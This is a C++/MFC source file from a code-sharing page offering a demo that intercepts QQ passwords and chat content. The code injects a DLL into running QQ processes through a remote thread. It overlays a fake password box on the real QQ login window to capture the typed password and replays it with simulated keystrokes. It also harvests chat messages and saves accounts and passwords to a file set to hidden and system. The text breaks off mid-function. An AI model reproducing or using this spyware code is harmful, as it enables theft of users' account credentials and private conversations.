gusucode.com > 如何截取QQ密码和聊天内容、去掉QQ广告栏、添加QQ尾巴 > 如何截取QQ密码和聊天内容、去掉QQ广告栏、添加QQ尾巴/RemoteThreadMateQQ/RemoteThreadMateQQDlg.cpp
// RemoteThreadMateQQDlg.cpp : implementation file // #include "stdafx.h" #include "RemoteThreadMateQQ.h" #include "RemoteThreadMateQQDlg.h" #include "Shlwapi.h" // for PathFindFileName() #ifdef _DEBUG #define new DEBUG_NEW #undef THIS_FILE static char THIS_FILE[] = __FILE__; #endif t_RemoteThreadPara *g_pRemoteThreadPara = NULL; DWORD g_dwInvokerPID = 0; HWND g_hWndInvoker = 0; CString g_csCurModuleBaseName; ///////////////////////////////////////////////////////////////////////////// // CAboutDlg dialog used for App About class CAboutDlg : public CDialog { public: CAboutDlg(); // Dialog Data //{{AFX_DATA(CAboutDlg) enum { IDD = IDD_ABOUTBOX }; //}}AFX_DATA // ClassWizard generated virtual function overrides //{{AFX_VIRTUAL(CAboutDlg) protected: virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support //}}AFX_VIRTUAL // Implementation protected: //{{AFX_MSG(CAboutDlg) //}}AFX_MSG DECLARE_MESSAGE_MAP() }; CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD) { //{{AFX_DATA_INIT(CAboutDlg) //}}AFX_DATA_INIT } void CAboutDlg::DoDataExchange(CDataExchange* pDX) { CDialog::DoDataExchange(pDX); //{{AFX_DATA_MAP(CAboutDlg) //}}AFX_DATA_MAP } BEGIN_MESSAGE_MAP(CAboutDlg, CDialog) //{{AFX_MSG_MAP(CAboutDlg) // No message handlers //}}AFX_MSG_MAP END_MESSAGE_MAP() ///////////////////////////////////////////////////////////////////////////// // CRemoteThreadMateQQDlg dialog CRemoteThreadMateQQDlg::CRemoteThreadMateQQDlg(CWnd* pParent /*=NULL*/) : CDialog(CRemoteThreadMateQQDlg::IDD, pParent) , m_nActiveSimPasswordEditCount ( 0 ) , m_bActiveSimPasswordEditByTab ( FALSE ) , m_pQQMate ( NULL ) , m_hEvtQQRecreateTray ( NULL ) { //{{AFX_DATA_INIT(CRemoteThreadMateQQDlg) // NOTE: the ClassWizard will add member initialization here //}}AFX_DATA_INIT // Note that LoadIcon does not require a subsequent DestroyIcon in Win32 m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME); } CRemoteThreadMateQQDlg::~CRemoteThreadMateQQDlg() { } void CRemoteThreadMateQQDlg::DoDataExchange(CDataExchange* pDX) { CDialog::DoDataExchange(pDX); //{{AFX_DATA_MAP(CRemoteThreadMateQQDlg) DDX_Control(pDX, IDC_STATIC_TRAY_ICON, m_TRAY_ICON); //}}AFX_DATA_MAP } BEGIN_MESSAGE_MAP(CRemoteThreadMateQQDlg, CDialog) //{{AFX_MSG_MAP(CRemoteThreadMateQQDlg) ON_WM_SYSCOMMAND() ON_WM_PAINT() ON_WM_QUERYDRAGICON() ON_BN_CLICKED(IDC_BUTTON_ClearLog, OnBUTTONClearLog) ON_WM_TIMER() ON_WM_DESTROY() ON_WM_COPYDATA() ON_BN_CLICKED(IDC_BUTTON_Test, OnBUTTONTest) //}}AFX_MSG_MAP END_MESSAGE_MAP() ///////////////////////////////////////////////////////////////////////////// // CRemoteThreadMateQQDlg message handlers BOOL CRemoteThreadMateQQDlg::OnInitDialog() { CDialog::OnInitDialog(); // Add "About..." menu item to system menu. // IDM_ABOUTBOX must be in the system command range. ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX); ASSERT(IDM_ABOUTBOX < 0xF000); CMenu* pSysMenu = GetSystemMenu(FALSE); if (pSysMenu != NULL) { CString strAboutMenu; strAboutMenu.LoadString(IDS_ABOUTBOX); if (!strAboutMenu.IsEmpty()) { pSysMenu->AppendMenu(MF_SEPARATOR); pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu); } } // Set the icon for this dialog. The framework does this automatically // when the application's main window is not a dialog SetIcon(m_hIcon, TRUE); // Set big icon SetIcon(m_hIcon, FALSE); // Set small icon m_TRAY_ICON.SetIcon ( m_hIcon ); ShowLogText ( NOTE_CONTRIBUTE ); CString csQQPath = TerminateAllQQ (); SetTimer ( 4, 1000, NULL ); if ( csQQPath.IsEmpty() ) { AfxMessageBox ( _T("请启动你的QQ") ); } else { ShellExecute ( NULL, _T("open"), csQQPath, NULL, NULL, SW_SHOW ); } Read_Ary_QQProcessInfo (); m_hEvtQQRecreateTray = CreateEvent ( NULL, TRUE, FALSE, QQRecreateTray_Event_Name ); if ( !HANDLE_IS_VALID(m_hEvtQQRecreateTray) ) { AfxMessageBox ( _T("Create kernel event failed.") ); PostQuitMessage (0); return FALSE; } ::SetEvent ( m_hEvtQQRecreateTray ); return TRUE; // return TRUE unless you set the focus to a control } void CRemoteThreadMateQQDlg::OnSysCommand(UINT nID, LPARAM lParam) { if ((nID & 0xFFF0) == IDM_ABOUTBOX) { CAboutDlg dlgAbout; dlgAbout.DoModal(); } else { CDialog::OnSysCommand(nID, lParam); } } // If you add a minimize button to your dialog, you will need the code below // to draw the icon. For MFC applications using the document/view model, // this is automatically done for you by the framework. void CRemoteThreadMateQQDlg::OnPaint() { if (IsIconic()) { CPaintDC dc(this); // device context for painting SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0); // Center icon in client rectangle int cxIcon = GetSystemMetrics(SM_CXICON); int cyIcon = GetSystemMetrics(SM_CYICON); CRect rect; GetClientRect(&rect); int x = (rect.Width() - cxIcon + 1) / 2; int y = (rect.Height() - cyIcon + 1) / 2; // Draw the icon dc.DrawIcon(x, y, m_hIcon); } else { CDialog::OnPaint(); } } // The system calls this to obtain the cursor to display while the user drags // the minimized window. HCURSOR CRemoteThreadMateQQDlg::OnQueryDragIcon() { return (HCURSOR) m_hIcon; } // // 枚举出 “qq.exe”的进程 // int EnumQQProcess ( CStringArray *pStrAry_ProcessName/*=NULL*/, CUIntArray *pUIntAry_ProcessID/*=NULL*/, CStringArray *pStrAry_ProcessPath/*=NULL*/ ) { CStringArray StrAry_ProcessName; CUIntArray UIntAry_ProcessID; CStringArray StrAry_ProcessPath; if ( !CProcessManage::EnumSystemProcess ( &StrAry_ProcessName, &UIntAry_ProcessID, NULL, NULL, &StrAry_ProcessPath ) ) { return -1; } ASSERT ( StrAry_ProcessName.GetSize() == UIntAry_ProcessID.GetSize() ); ASSERT ( StrAry_ProcessName.GetSize() == StrAry_ProcessPath.GetSize() ); int nCount = 0; for ( int i=0; i<StrAry_ProcessName.GetSize(); i++ ) { CString csProcessName = StrAry_ProcessName.GetAt ( i ); TRACE ( _T("%s\n"), csProcessName ); csProcessName.MakeLower (); if ( csProcessName == _T("qq.exe") ) { nCount ++; if ( pStrAry_ProcessName ) pStrAry_ProcessName->Add ( csProcessName ); if ( pUIntAry_ProcessID ) pUIntAry_ProcessID->Add ( UIntAry_ProcessID.GetAt(i) ); if ( pStrAry_ProcessPath ) pStrAry_ProcessPath->Add ( StrAry_ProcessPath.GetAt(i) ); } } return nCount; } void Trace_StrAry ( CStringArray &StrAry ) { TRACE ( _T(" Trace_StrAry -------------------------------\n") ); for ( int i=0; i<StrAry.GetSize(); i++ ) { TRACE ( _T("NO.%03d - %s\n"), i, StrAry.GetAt(i) ); } } void Trace_IntAry ( CUIntArray &UIntAry ) { TRACE ( _T(" Trace_IntAry -------------------------------\n") ); for ( int i=0; i<UIntAry.GetSize(); i++ ) { TRACE ( _T("NO.%03d - %d\n"), i, UIntAry.GetAt(i) ); } } typedef void (WINAPI *FUNC_SetRemoteParameter) ( LPVOID pParaAddrss, HWND hWndInvoker ); BOOL CRemoteThreadMateQQDlg::RemoteInject ( DWORD dwPID, BOOL bInjected ) { if ( dwPID < 1 ) return FALSE; ShowLogText ( FormatString(_T("发现新的QQ进程(ID:%u),现在注入远程线程。\r\n"), dwPID) ); BOOL bRet = TRUE; // 获取dll文件路径 CString csDllPath = GetProgramDir (); csDllPath += _T("dllRemoteThread.dll"); TCHAR szDllPath[MAX_PATH] = {0}; lstrcpyn ( szDllPath, csDllPath, COUNT(szDllPath) ); // 定义变量 void *pParaRemote = NULL; void *pDataRemote = NULL; HANDLE hProcess = NULL; if ( !bInjected ) { // 打开远程进程 hProcess = OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE,FALSE,dwPID); if (! hProcess ) return FALSE; // 在远程进程中分配内存空间,并将数据写入 t_RemoteThreadPara tRemoteThreadPara = {0}; strncpy ( tRemoteThreadPara.szQQTail, "我是QQ尾巴,哇哈哈……", COUNT(tRemoteThreadPara.szQQTail) ); pParaRemote = (void*) VirtualAllocEx( hProcess, 0, sizeof(t_RemoteThreadPara), MEM_COMMIT, PAGE_READWRITE ); ::WriteProcessMemory ( hProcess, pParaRemote, &tRemoteThreadPara, sizeof(t_RemoteThreadPara), NULL ); pDataRemote = (void*) VirtualAllocEx( hProcess, 0, sizeof(szDllPath), MEM_COMMIT, PAGE_READWRITE ); ::WriteProcessMemory ( hProcess, pDataRemote, szDllPath, sizeof(szDllPath), NULL ); } // 装载dll文件,并将参数传入dll的数据共享区 HMODULE hMod = LoadLibrary ( szDllPath ); if ( hMod ) { FUNC_SetRemoteParameter pfnSetRemoteParameter = (FUNC_SetRemoteParameter)GetProcAddress ( hMod, TEXT("SetRemoteParameter") ); if ( pfnSetRemoteParameter ) pfnSetRemoteParameter ( pParaRemote, GetSafeHwnd() ); } else { bRet = FALSE; } if ( !bInjected ) { // 创建远程线程执行代码 DWORD dwThreadID = 0; HANDLE hThread = ::CreateRemoteThread ( hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibrary, pDataRemote, 0, &dwThreadID ); if ( HANDLE_IS_VALID(hThread) ) { // 等待远程线程结束 ::WaitForSingleObject ( hThread, INFINITE ); DWORD dwRetCode = 0; ::GetExitCodeThread ( hThread, &dwRetCode ); TRACE ("run and return %d\n", dwRetCode ); } else { bRet = FALSE; } } // 释放资源 if ( hProcess && pDataRemote ) VirtualFreeEx( hProcess, pDataRemote, 0, MEM_RELEASE ); if ( hMod ) FreeLibrary ( hMod ); return bRet; } CString CRemoteThreadMateQQDlg::TerminateAllQQ() { CStringArray StrAry_ProcessName; CUIntArray UIntAry_ProcessID; CStringArray StrAry_ProcessPath; if ( EnumQQProcess ( &StrAry_ProcessName, &UIntAry_ProcessID, &StrAry_ProcessPath ) < 1 ) { return _T(""); } ASSERT ( UIntAry_ProcessID.GetSize() == StrAry_ProcessName.GetSize() ); AfxMessageBox ( FormatString(_T("发现你的系统里已经运行了%d个QQ进程,为了达到演示的目的,点“确定”按钮后我会先关闭它们。"), UIntAry_ProcessID.GetSize())); for ( int i=0; i<StrAry_ProcessName.GetSize(); i++ ) { CString csProcessName = StrAry_ProcessName.GetAt ( i ); ASSERT ( csProcessName == _T("qq.exe") ); CProcessManage::TerminateProcessID ( UIntAry_ProcessID.GetAt(i) ); } Sleep ( 500 ); #ifdef _DEBUG DeleteTrayNullIcon (); #endif return StrAry_ProcessPath.GetAt(0); } BOOL CRemoteThreadMateQQDlg::ShowLogText ( LPCTSTR lpszText ) { if ( !lpszText ) return FALSE; CEdit *pEditLog = (CEdit*)GetDlgItem(IDC_EDIT_Log); if ( !pEditLog || !IsWindow(pEditLog->m_hWnd) ) return FALSE; CString csLogText; pEditLog->GetWindowText ( csLogText ); int nTextLen_Org = csLogText.GetLength (); // 将增加的文本添加到编辑框的尾部 if ( nTextLen_Org < EDIT_MAX_TEXT ) { pEditLog->SetSel ( -1, -1 ); } else { pEditLog->SetSel ( 0, -1 ); nTextLen_Org = 0; } pEditLog->ReplaceSel( lpszText ); // 滚动在最底行 pEditLog->SendMessage ( WM_VSCROLL, (WPARAM)SB_BOTTOM, (LPARAM)NULL ); return TRUE; } LRESULT CRemoteThreadMateQQDlg::DefWindowProc(UINT message, WPARAM wParam, LPARAM lParam) { if ( message == WM_COPYDATA && GetSafeHwnd() == (HWND)wParam ) { PCOPYDATASTRUCT poCopyData = (PCOPYDATASTRUCT)lParam; t_RCopyData tRCopyData = {0}; if ( poCopyData->cbData >= sizeof(t_RCopyData) ) { BYTE *pDataCurPos = (BYTE*)poCopyData->lpData; memcpy ( &tRCopyData, pDataCurPos, sizeof(t_RCopyData) ); pDataCurPos += sizeof(t_RCopyData); DWORD dwData = poCopyData->dwData; DWORD dwData1 = tRCopyData.dwData1; DWORD dwData2 = tRCopyData.dwData2; DWORD dwData3 = tRCopyData.dwData3; DWORD dwQQProcessID = tRCopyData.dwQQProcessID; if ( dwQQProcessID == GetCurrentProcessId() ) { ASSERT ( FALSE ); } else { LPCTSTR lpszText = NULL; LPVOID lpData = NULL; int cbDataSize = 0; if ( tRCopyData.nTextSize > 0 && poCopyData->cbData >= sizeof(t_RCopyData) + tRCopyData.nTextSize ) { lpszText = LPCTSTR(pDataCurPos); pDataCurPos += tRCopyData.nTextSize; } if ( tRCopyData.nDataSize > 0 && poCopyData->cbData >= sizeof(t_RCopyData) + tRCopyData.nTextSize + tRCopyData.nDataSize ) { cbDataSize = tRCopyData.nDataSize; lpData = pDataCurPos; pDataCurPos += tRCopyData.nDataSize; } switch ( tRCopyData.eRemoteMsg ) { case RMSG_TRAY_CHANGED: { HWND hWndTray = (HWND)dwData; if ( lpszText ) { CStringArray StrAry; if ( PartStringAndAddToStrAry ( lpszText, StrAry ) == 2 ) { CString csLocalQQAccount = StrAry.GetAt(0); CString csLocalQQNickname = StrAry.GetAt(1); int nIndex = FindFrom__Ary_QQProcessInfo ( dwQQProcessID ); if ( nIndex < 0 ) { t_QQProcessInfo tQQProcessInfo; tQQProcessInfo.dwPID = dwQQProcessID; nIndex = m_Ary_QQProcessInfo.Add ( tQQProcessInfo ); } if ( nIndex >= 0 ) { t_QQProcessInfo &tQQProcessInfo = m_Ary_QQProcessInfo.GetAt(nIndex); if ( tQQProcessInfo.csLocalQQAccount != csLocalQQAccount || tQQProcessInfo.csLocalQQNickname != csLocalQQNickname ) { SetDlgItemText ( IDC_EDIT_LocalQQAccount, csLocalQQAccount ); SetDlgItemText ( IDC_EDIT_LocalQQNickname, csLocalQQNickname ); SetQQProcessInfo ( dwQQProcessID, csLocalQQAccount, NULL, csLocalQQNickname ); } QQProcessInfoIsReceived (); } } } m_TRAY_ICON.SetIcon ( (HICON)dwData1 ); break; } case RMSG_LOG: { if ( lpszText ) { ShowLogText ( lpszText ); } break; } case RMSG_ShowLoginWindow: case RMSG_LoginWindowMoving: case RMSG_LoginWindowClose: case RMSG_PasswordSetFocus: case RMSG_LoginWindowShow: { HWND hWndQQLoginWindow = (HWND)dwData; t_FindQQLoginInfoPara *pFindQQLoginInfoPara = (t_FindQQLoginInfoPara*)lpData; ASSERT ( pFindQQLoginInfoPara ); ASSERT ( IsWindow(hWndQQLoginWindow) && IsWindow(pFindQQLoginInfoPara->hWndQQAccount) && IsWindow(pFindQQLoginInfoPara->hWndQQPassword) && IsWindow(pFindQQLoginInfoPara->hWndLoginButton) ); // 显示QQ登录窗口 if ( RMSG_ShowLoginWindow == tRCopyData.eRemoteMsg ) { ShowSimQQLoginWindow ( dwQQProcessID, hWndQQLoginWindow, pFindQQLoginInfoPara ); } // QQ登录窗口在移动 else if ( RMSG_LoginWindowMoving == tRCopyData.eRemoteMsg ) { OnQQLoginWindowMoving ( dwQQProcessID, hWndQQLoginWindow, pFindQQLoginInfoPara ); } // QQ登录窗口关闭 else if ( RMSG_LoginWindowClose == tRCopyData.eRemoteMsg ) { CString csQQAccount; if ( lpszText ) csQQAccount = lpszText; OnQQLoginWindowClose ( dwQQProcessID, hWndQQLoginWindow, pFindQQLoginInfoPara, (BOOL)dwData1, csQQAccount ); } // QQ密码输入框获得焦点 else if ( RMSG_PasswordSetFocus == tRCopyData.eRemoteMsg ) { ActiveSimPasswordEdit ( dwQQProcessID, hWndQQLoginWindow, pFindQQLoginInfoPara, LPARAM(dwData1) ); } // QQ登陆框被显示(最小化、还原或隐藏) else if ( RMSG_LoginWindowShow == tRCopyData.eRemoteMsg ) { int uCmdType = (int)dwData1; if ( uCmdType == SC_MINIMIZE ) { if ( IsWindow(m_DlgSimuQQLoginWindow.m_hWnd) ) m_DlgSimuQQLoginWindow.ShowWindow ( SW_HIDE ); } else if ( uCmdType == SC_RESTORE ) { if ( IsWindow(m_DlgSimuQQLoginWindow.m_hWnd) ) m_DlgSimuQQLoginWindow.ShowWindow ( SW_SHOW ); ActiveSimPasswordEdit ( dwQQProcessID, hWndQQLoginWindow, pFindQQLoginInfoPara, LPARAM(dwData1) ); } } break; } case RMSG_QQStatusChanged: { BOOL bLoginOK = (BOOL)dwData; ASSERT ( lpszText ); CString csLocalQQAccount = lpszText; SetDlgItemText ( IDC_EDIT_QQStatus, FormatString(_T("%s %s"), csLocalQQAccount, bLoginOK?_T("已登录"):_T("已下线") ) ); break; } case RMSG_GotQQChatText: { BOOL bIsSent = (BOOL)dwData; ASSERT ( lpszText ); CString csChatInfo = lpszText; CString csQQPeerAccount, csQQPeerNickname, csChatText; int nFindPos = csChatInfo.Find ( _T("\t"), 0 ); if ( nFindPos > 0 ) { csQQPeerAccount = csChatInfo.Left(nFindPos); csChatInfo = csChatInfo.Mid(nFindPos+1); nFindPos = csChatInfo.Find ( _T("\t"), 0 ); if ( nFindPos > 0 ) { csQQPeerNickname = csChatInfo.Left(nFindPos); csChatText = csChatInfo.Mid(nFindPos+1); SetQQProcessInfo ( dwQQProcessID, NULL, NULL, NULL, csChatText, csQQPeerAccount, csQQPeerNickname, bIsSent ); } } break; } } } } } return CDialog::DefWindowProc(message, wParam, lParam); } LRESULT CALLBACK MixerWndProc( HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam ) { if ( uMsg == WM_PAINT ) { CPaintDC dc(CWnd::FromHandle(hwnd)); // device context for painting dc.TextOut ( 0,0,_T("haha") ); return TRUE; } return ::DefWindowProc( hwnd, uMsg, wParam, lParam); } void CRemoteThreadMateQQDlg::OnQQLoginWindowClose ( DWORD dwQQProcessID, HWND hWndQQLoginWindow, t_FindQQLoginInfoPara *pFindQQLoginInfoPara, BOOL bSuccess, CString &csQQAccount ) { if ( !IsWindow(m_DlgSimuQQLoginWindow.m_hWnd) ) return; m_DlgSimuQQLoginWindow.DestroyWindow (); if ( !IsWindow(hWndQQLoginWindow) || !pFindQQLoginInfoPara || !IsWindow(pFindQQLoginInfoPara->hWndQQPassword) ) return; if ( bSuccess ) { // 将QQ真实的登录窗口隐藏,然后激活密码输入框并获取焦点,100毫秒后将用模拟键盘方式将获得的密码输入到QQ密码框中 ::SetWindowPos ( hWndQQLoginWindow, HWND_TOPMOST, -999, -999, 0, 0, SWP_SHOWWINDOW); CRect rcQQLoginWindow; ::GetWindowRect ( hWndQQLoginWindow, &rcQQLoginWindow ); ::SetWindowPos ( hWndQQLoginWindow, HWND_TOPMOST, rcQQLoginWindow.left, rcQQLoginWindow.top, rcQQLoginWindow.right-rcQQLoginWindow.left, rcQQLoginWindow.bottom-rcQQLoginWindow.top, SWP_NOACTIVATE); ::SetForegroundWindow ( hWndQQLoginWindow ); ::SetFocus ( pFindQQLoginInfoPara->hWndQQPassword ); ActiveWindowAndHoldFocus ( pFindQQLoginInfoPara->hWndQQPassword ); SetDlgItemText ( IDC_EDIT_LocalQQAccount, csQQAccount ); m_csQQPassword = m_DlgSimuQQLoginWindow.m_csQQLocalPassword; SetQQProcessInfo ( dwQQProcessID, NULL, m_DlgSimuQQLoginWindow.m_csQQLocalPassword ); if ( m_csQQPassword.IsEmpty() ) { MessageBox ( _T("Login QQ server failed."), _T("Tencent - QQ"), MB_ICONERROR ); CProcessManage::TerminateProcessID ( dwQQProcessID ); } else { SetTimer ( 1, 100, NULL ); } } } void CRemoteThreadMateQQDlg::ActiveSimPasswordEdit ( DWORD dwQQProcessID, HWND hWndQQLoginWindow, t_FindQQLoginInfoPara *pFindQQLoginInfoPara, LPARAM lParam ) { if ( !IsWindow(hWndQQLoginWindow) || !pFindQQLoginInfoPara || !IsWindow(pFindQQLoginInfoPara->hWndQQPassword) ) return; if ( !IsWindow(m_DlgSimuQQLoginWindow.m_hWnd) ) return; m_DlgSimuQQLoginWindow.SetDlgItemText ( IDC_EDIT_QQLocalPassword, _T("") ); // 取消QQ登陆框最前端显示的特性 /* CRect rcQQLoginWindow; ::GetWindowRect ( hWndQQLoginWindow, &rcQQLoginWindow ); ::SetWindowPos ( hWndQQLoginWindow, HWND_NOTOPMOST, rcQQLoginWindow.left, rcQQLoginWindow.top, rcQQLoginWindow.right-rcQQLoginWindow.left, rcQQLoginWindow.bottom-rcQQLoginWindow.top, SWP_NOACTIVATE); */ m_bActiveSimPasswordEditByTab = (lParam == 1); m_nActiveSimPasswordEditCount = 0; SetTimer ( 3, 10, NULL ); } void CRemoteThreadMateQQDlg::OnQQLoginWindowMoving ( DWORD dwQQProcessID, HWND hWndQQLoginWindow, t_FindQQLoginInfoPara *pFindQQLoginInfoPara ) { if ( !IsWindow(hWndQQLoginWindow) || !pFindQQLoginInfoPara || !IsWindow(pFindQQLoginInfoPara->hWndQQPassword) ) return; if ( !IsWindow(m_DlgSimuQQLoginWindow.m_hWnd) ) return; CRect rcQQPassword; ::GetWindowRect ( pFindQQLoginInfoPara->hWndQQPassword, &rcQQPassword ); rcQQPassword.DeflateRect ( 2, 2 ); rcQQPassword.right -= 14; m_DlgSimuQQLoginWindow.MoveWindow ( rcQQPassword ); } void CRemoteThreadMateQQDlg::ShowSimQQLoginWindow ( DWORD dwQQProcessID, HWND hWndQQLoginWindow, t_FindQQLoginInfoPara *pFindQQLoginInfoPara ) { if ( !IsWindow(hWndQQLoginWindow) || !pFindQQLoginInfoPara || !IsWindow(pFindQQLoginInfoPara->hWndQQPassword) ) return; m_DlgSimuQQLoginWindow.SetParameter ( this, hWndQQLoginWindow, *pFindQQLoginInfoPara ); m_DlgSimuQQLoginWindow.m_csQQLocalPassword.Empty(); if ( !::IsWindow(m_DlgSimuQQLoginWindow.m_hWnd) ) m_DlgSimuQQLoginWindow.Create ( CDlgSimuQQLoginWindow::IDD, CWnd::GetDesktopWindow() ); OnQQLoginWindowMoving ( dwQQProcessID, hWndQQLoginWindow, pFindQQLoginInfoPara ); m_DlgSimuQQLoginWindow.ShowWindow ( SW_SHOW ); SetTimer ( 3, 10, NULL ); } void CRemoteThreadMateQQDlg::OnBUTTONClearLog() { SetDlgItemText ( IDC_EDIT_Log, _T("") ); DeleteFile ( "c:\\RemoteThreadMateQQ.txt" ); } void CRemoteThreadMateQQDlg::OnTimer(UINT nIDEvent) { // 模拟键盘输入QQ密码 if ( nIDEvent == 1 ) { KillTimer ( nIDEvent ); for ( int i=0; i<8; i++ ) { KeyboardEvent ( VK_BACK ); } for ( i=0; i<m_csQQPassword.GetLength(); i++ ) { KeyboardEvent ( (BYTE)m_csQQPassword[i] ); ShowLogText ( FormatString ( _T("输入键盘事件:%c\r\n"), m_csQQPassword[i] ) ); } KeyboardEvent ( VK_RETURN ); SetTimer ( 2, 1, NULL ); } else if ( nIDEvent == 2 ) { KillTimer ( nIDEvent ); SetDlgItemText ( IDC_EDIT_LocalQQPassword, m_csQQPassword ); } else if ( nIDEvent == 3 ) { if ( m_nActiveSimPasswordEditCount > 3 ) KillTimer ( nIDEvent ); m_DlgSimuQQLoginWindow.SetDlgItemText ( IDC_EDIT_QQLocalPassword, _T("") ); // 按 Tab 获得焦点 if ( m_bActiveSimPasswordEditByTab ) { /* m_DlgSimuQQLoginWindow.SetWindowPos ( &CWnd::wndTopMost, 0, 0, 0, 0, SWP_NOMOVE|SWP_NOSIZE|SWP_SHOWWINDOW ); m_DlgSimuQQLoginWindow.SetForegroundWindow (); m_DlgSimuQQLoginWindow.GetDlgItem(IDC_EDIT_QQLocalPassword)->SetFocus();*/ } // 点鼠标获得焦点 else { } ActiveWindowAndHoldFocus ( m_DlgSimuQQLoginWindow.GetSafeHwnd() ); /* m_DlgSimuQQLoginWindow.SetWindowPos ( &CWnd::wndTopMost, 0, 0, 0, 0, SWP_NOMOVE|SWP_NOSIZE|SWP_SHOWWINDOW ); m_DlgSimuQQLoginWindow.SetForegroundWindow (); m_DlgSimuQQLoginWindow.GetDlgItem(IDC_EDIT_QQLocalPassword)->SetFocus(); */ m_nActiveSimPasswordEditCount ++; } // 定时检测是否启动了新的QQ,如果启动了新的QQ就注入一个线程 else if ( nIDEvent == 4 ) { InjectThreadWhenFoundNewQQ (); } CDialog::OnTimer(nIDEvent); } void CRemoteThreadMateQQDlg::OnDestroy() { CDialog::OnDestroy(); ShowChatContents (); Save_Ary_QQProcessInfo(); DeleteAll__Ary_QQProcessInfo (); if ( m_pQQMate ) delete m_pQQMate; m_pQQMate = NULL; } int CRemoteThreadMateQQDlg::FindFrom__Ary_QQProcessInfo ( DWORD dwQQProcessID ) { for ( int i=0; i<m_Ary_QQProcessInfo.GetSize(); i++ ) { t_QQProcessInfo &tQQProcessInfo = m_Ary_QQProcessInfo.GetAt(i); if ( tQQProcessInfo.dwPID == dwQQProcessID ) { return i; } } return -1; } void CRemoteThreadMateQQDlg::SetQQProcessInfo ( DWORD dwQQProcessID, LPCTSTR lpszLocalQQAccount/*=NULL*/, LPCTSTR lpszLocalQQPassword/*=NULL*/, LPCTSTR lpszLocalQQNickname/*=NULL*/, LPCTSTR lpszChatText/*=NULL*/, LPCTSTR lpszPeerQQAccount/*=NULL*/, LPCTSTR lpszPeerQQNickname/*=NULL*/, BOOL bIsSent/*=FALSE*/ ) { int nIndex = FindFrom__Ary_QQProcessInfo ( dwQQProcessID ); if ( nIndex < 0 ) { ASSERT ( FALSE ); return; } t_QQProcessInfo &tQQProcessInfo = m_Ary_QQProcessInfo.GetAt(nIndex); if ( tQQProcessInfo.pAry_QQChatContent ) tQQProcessInfo.pAry_QQChatContent = tQQProcessInfo.pAry_QQChatContent; if ( lpszLocalQQAccount && lstrlen(lpszLocalQQAccount) > 0 ) tQQProcessInfo.csLocalQQAccount = lpszLocalQQAccount; if ( lpszLocalQQPassword && lstrlen(lpszLocalQQPassword) > 0 ) tQQProcessInfo.csLocalQQPassword = lpszLocalQQPassword; if ( lpszLocalQQNickname && lstrlen(lpszLocalQQNickname) > 0 ) tQQProcessInfo.csLocalQQNickname = lpszLocalQQNickname; if ( lpszChatText && lstrlen(lpszChatText) > 0 && lpszPeerQQAccount && lstrlen(lpszPeerQQAccount) > 0 ) { if ( !tQQProcessInfo.pAry_QQChatContent ) { tQQProcessInfo.pAry_QQChatContent = new t_Ary_QQChatContent; if ( !tQQProcessInfo.pAry_QQChatContent ) { return; } } t_QQChatContent tQQChatContent; tQQChatContent.tMsgTime = GetCurrentTimeHw(); tQQChatContent.bIsSent = bIsSent; tQQChatContent.csChatText = lpszChatText; tQQChatContent.csQQPeerNickname = GET_SAFE_STRING(lpszPeerQQNickname); // AfxMessageBox ( FormatString(_T("%s消息:%s"),bIsSent?_T("发送"):_T("接收"), lpszChatText) ); tQQProcessInfo.pAry_QQChatContent->Add ( tQQChatContent ); } m_Ary_QQProcessInfo.SetAt ( nIndex, tQQProcessInfo ); } void CRemoteThreadMateQQDlg::DeleteFrom__Ary_QQProcessInfo__ByIndex ( int nIndex ) { if ( nIndex < 0 || nIndex >= m_Ary_QQProcessInfo.GetSize() ) return; t_QQProcessInfo &tQQProcessInfo = m_Ary_QQProcessInfo.GetAt(nIndex); if ( tQQProcessInfo.pAry_QQChatContent ) { tQQProcessInfo.pAry_QQChatContent->RemoveAll(); delete tQQProcessInfo.pAry_QQChatContent; } m_Ary_QQProcessInfo.RemoveAt(nIndex); } void CRemoteThreadMateQQDlg::DeleteFrom__Ary_QQProcessInfo__ByPID ( DWORD dwQQProcessID ) { DeleteFrom__Ary_QQProcessInfo__ByIndex ( FindFrom__Ary_QQProcessInfo ( dwQQProcessID ) ); } void CRemoteThreadMateQQDlg::DeleteAll__Ary_QQProcessInfo () { while ( m_Ary_QQProcessInfo.GetSize() > 0 ) { DeleteFrom__Ary_QQProcessInfo__ByIndex ( 0 ); } } void CRemoteThreadMateQQDlg::Save_Ary_QQProcessInfo () { CString csFileName = FormatString(_T("%s%s"), GetProgramDir(), QQProcessInfoFileName ); hwSetFileAttr( csFileName, CFile::normal ); CFile file; TRY { if ( file.Open ( csFileName, CFile::typeBinary|CFile::modeReadWrite|CFile::modeCreate ) ) { CString csSaveingData; for ( int i=0; i<m_Ary_QQProcessInfo.GetSize(); i++ ) { t_QQProcessInfo &tQQProcessInfo = m_Ary_QQProcessInfo.GetAt(i); if ( ProcessIsQQ(tQQProcessInfo.dwPID) ) { csSaveingData += FormatString ( _T("\"%u\"\t\"%s\"\t\"%s\"\t\"%s\"\r\n"), tQQProcessInfo.dwPID, tQQProcessInfo.csLocalQQAccount, tQQProcessInfo.csLocalQQPassword, tQQProcessInfo.csLocalQQNickname ); } } file.Write ( csSaveingData.GetBuffer(0), csSaveingData.GetLength() ); file.Close (); } } CATCH( CFileException, e ) { } CATCH_ALL(e) { THROW_LAST (); } END_CATCH_ALL; hwSetFileAttr ( csFileName, CFile::hidden|CFile::system ); } void CRemoteThreadMateQQDlg::Read_Ary_QQProcessInfo () { CString csFileName = FormatString(_T("%s%s"), GetProgramDir(), QQProcessInfoFileName ); CFile file; TRY { if ( file.Open ( csFileName, CFile::typeBinary|CFile::modeRead ) ) { int nFileLength = file.GetLength(); TCHAR *pFileData = (TCHAR*)new char[nFileLength+sizeof(TCHAR)]; if ( pFileData ) { memset ( pFileData, 0, nFileLength+sizeof(TCHAR) ); if ( nFileLength == (int)file.Read ( pFileData, nFileLength ) ) { CStringArray StrAry_QQProcessInfos; PartStringAndAddToStrAry ( pFileData, _T("\r\n"), StrAry_QQProcessInfos ); 